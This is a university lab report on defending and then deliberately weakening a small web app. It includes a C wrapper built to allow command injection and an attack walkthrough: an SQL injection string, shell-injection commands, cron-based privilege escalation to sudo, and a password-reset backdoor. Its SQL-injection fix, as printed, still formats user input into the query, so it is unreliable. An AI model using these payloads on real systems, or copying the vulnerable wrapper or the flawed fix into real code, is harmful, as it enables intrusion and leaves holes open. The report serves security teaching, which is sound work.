Mini Project - Defend

Alexander Berg
Thomas Hoffmann Kilbak
Kristoffer Bruun Højelse
Emil Jäpelt
Adam Negaard
Oscar Gludsted Strange

November 2022

1 Serving the Application

To serve the application MySecretNotes, we installed NGINX (version 1.18.0) on the server with the command `sudo apt install nginx`. Then we added a server configuration file (seen in appendix 5.1) located in `/etc/nginx/sites-available/secu03.itu.dk`. Then we created a symbolic link to this exact file in `/etc/nginx/sites-enabled`, by using the command:

```
sudo ln -s /etc/nginx/sites-available/secu03.itu.dk/etc/nginx/sites-enabled/
```

Finally we restarted NGINX with `sudo service nginx restart`.

1.1 Setting up TLS

To serve our application securely over HTTPS, we installed Certbot and its plugin for NGINX on the server with the command `sudo apt install certbot python3-certbot-nginx`. Then we ran the command `sudo certbot --nginx -d secu03.itu.dk`. This command obtains a certificate from Let's Encrypt, which is a Certificate Authority and enables HTTPS on secu03.itu.dk. This modifies the file in `/etc/nginx/sites-available/secu03.itu.dk`, which can be seen in appendix 5.2. The modifications allow NGINX to manage and register the TLS keys associated with the site, and redirects all incoming HTTP traffic on port 80, to HTTPS on port 443.

2 Solved Issues

2.1 SQL-injections

Probably the most obvious way in which the server can be attacked, is via SQL-injections. The given MySecretNotes website is, contrary to what the name suggests, not very secret. The inputs on the websites are not sanitized and are therefore vulnerable to SQL-injections. This is because the input provided by the user, is directly concatenated to an existing string. This can be seen in the login function in app.py:

```
1 statement = "SELECT * FROM users WHERE username = '%s' AND password = '%s';" %(
      username, password)
2 c.execute(statement)
```

As can be seen in the code, the username and password entered by the user is simply inserted into the statement and executed as SQL. This allows an attacker to enter a username such as:

```
1     ' OR 1=1--
```

Which will cause the server to ignore the password and login as admin.
The SQL-injections can be fixed by replacing the line:

```
1 c.execute(statement)
```

with:

```
1 c.execute(statement, (username, password))
```

This will evaluate username and password separately from the rest of the SQL-statement therefore preventing SQL-injections. If an attacker tries to input the injection string above they will simply get a message saying "Error: Wrong username or password!".

2.2 User stud had `sudo` Access

The user stud, was in the sudo group, which enables execution of commands, with escalates privileges. Specifically, this allowed stud to execute `sudo passwd`, changing the root password and then switching to the root user using the command: `su root`. We removed the stud user from the sudo group, such that the user running the website does not have access to the sudo command, following the principle of least privilege.

2.3 Implemented Delete Note button

Not a fixed vulnerability, but we fixed the button to delete notes, so that it works as intended now.

3 Added Vulnerabilities

3.1 User Access via Online Compiler

The MySecretNotes website has been extended to include a new page exposing a C compiler. This service allows a user to write a program in the C programming language and view the generated assembly code (similarly to godbolt.org) and compiler-output. The user can also specify additional compiler flags for the GCC compiler when generating the assembly code. GCC version 11.3.0 is used.
The program written by the user cannot be executed on the website. However, an attacker can use the ability to provide additional compiler flags to execute arbitrary shell commands on the server. The attack is very similar to SQL-injections and work because the input to GCC is not sanitized. The GCC compiler is invoked by the following C program, which itself is invoked by app.py:

```
1  #include <stdio.h>
2  #include <string.h>
3  #include <stdlib.h>
4
5  int main(int argc, char** argv)
6  {
7      char command[256];
8      const char* gcc = "gcc";
9      size_t gccLen = strlen(gcc);
10     strncpy(command, gcc, gccLen);
11     size_t n = gccLen;
12     for (int i = 1; i < argc; i++)
13     {
14         command[n++] = ' ';
15         size_t len = strlen(argv[i]);
16         strncpy(&command[n], argv[i], len);
17         n += len;
18     }
19     const char* outOption = " -S -o executable.s executable.c";
20     strncpy(&command[n], outOption, strlen(outOption));
21     system(command);
22     return 0;
23 }
```

This program simply forwards its command line arguments to GCC. This is done by copying its arguments into a string, "command", which is then executed in the terminal by using the "system" function. The copying of input-arguments happen in line 16 in the for-loop. The program makes no checks to ensure that the resulting string is safe to execute.
This can be exploited by an attacker by inputting a string which terminates the command invoking GCC, and then executes another command. For example, if an attacker inputs the following string:

```
; echo Hacked
```

then the resulting command executed by the server will be:

```
gcc ; echo Hacked -S -o executable.s executable.c
```

which simply makes the server print *"Hacked"* in the terminal. However, this exploit allows the attacker to execute much more harmful commands on the server. This exploit alone gives the attacker user privileges, but more is needed in order to obtain root privileges.

4 Intended path

- **Target acquisition and information gathering.**
  - An attacker has found the URL: https://secu03.itu.dk.
  - They find the /compiler endpoint.
  - They find the /compiler endpoint with fields taking user input.
  - Try intended input, i.a. `print("hello")` will print "executable.c:1:7: error" hinting its a c compiler
- **Violate integrity**
  - Try malicious input, i.a. random characters e.g. `/;"5'` and `/;"5'` gives internal server error, hinting that user input is handled incorrect
  - Try bash input with a semi-colon as this character begins a new statement, e.g. `; whoami`
  - The attacker now has user access through the website.
- **Privilege Escalation**
  - The attacker searches for vulnerabilities, including misconfigured cron jobs
  - Find out the current location with `; pwd`
  - Look in crontab `; less /etc/crontab`
  - Find cron job that compiles and executes hello_world.c as root every minute `; cat /home/stud/hello_world.c`
  - Now the attacker develops an exploit.
  - Usermod is limited to the sudo group, so we can check if we can add stud to sudo with `; echo 'int main() { system("usermod -a -G sudo stud"); return 0; }' | tee /home/stud/hello`
  - After approx. a minute check user groups for stud `; groups stud`
  - The attacker now has sudo.
- **Backdoor or persistent access**
  - Make root change password of stud. This requires no prior knowledge of the user password for stud. `; echo 'int main() { system("(echo YouveBeenHacked; echo YouveBeenHacked) | passwd stud"); return 0; }' | tee /home/stud/hello_world.c`
  - Now the attacker can ssh to `stud@secu03.itu.dk` , and impersonate the root user with `sudo -i -u root`
  - Optionally, configure ssh to root.

5 Appendix

5.1 NGINX configuration file

```
server {
    server_name  secu03.itu.dk;

    location / {
        include proxy_params;
        proxy_pass http://127.0.0.1:5000;

    }
}
```

5.2 NGINX configuration file after running CertBot

```
server {
    server_name  secu03.itu.dk;

    location / {
        include proxy_params;
        proxy_pass http://127.0.0.1:5000;
    }

    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/secu03.itu.dk/fullchain.pem; #
        managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/secu03.itu.dk/privkey.pem;
        # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by
       Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

}
# redirect all http traffic to https
server {
    if ($host = secu03.itu.dk) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen       80;
    server_name  secu03.itu.dk;
    return 404; # managed by Certbot
}
```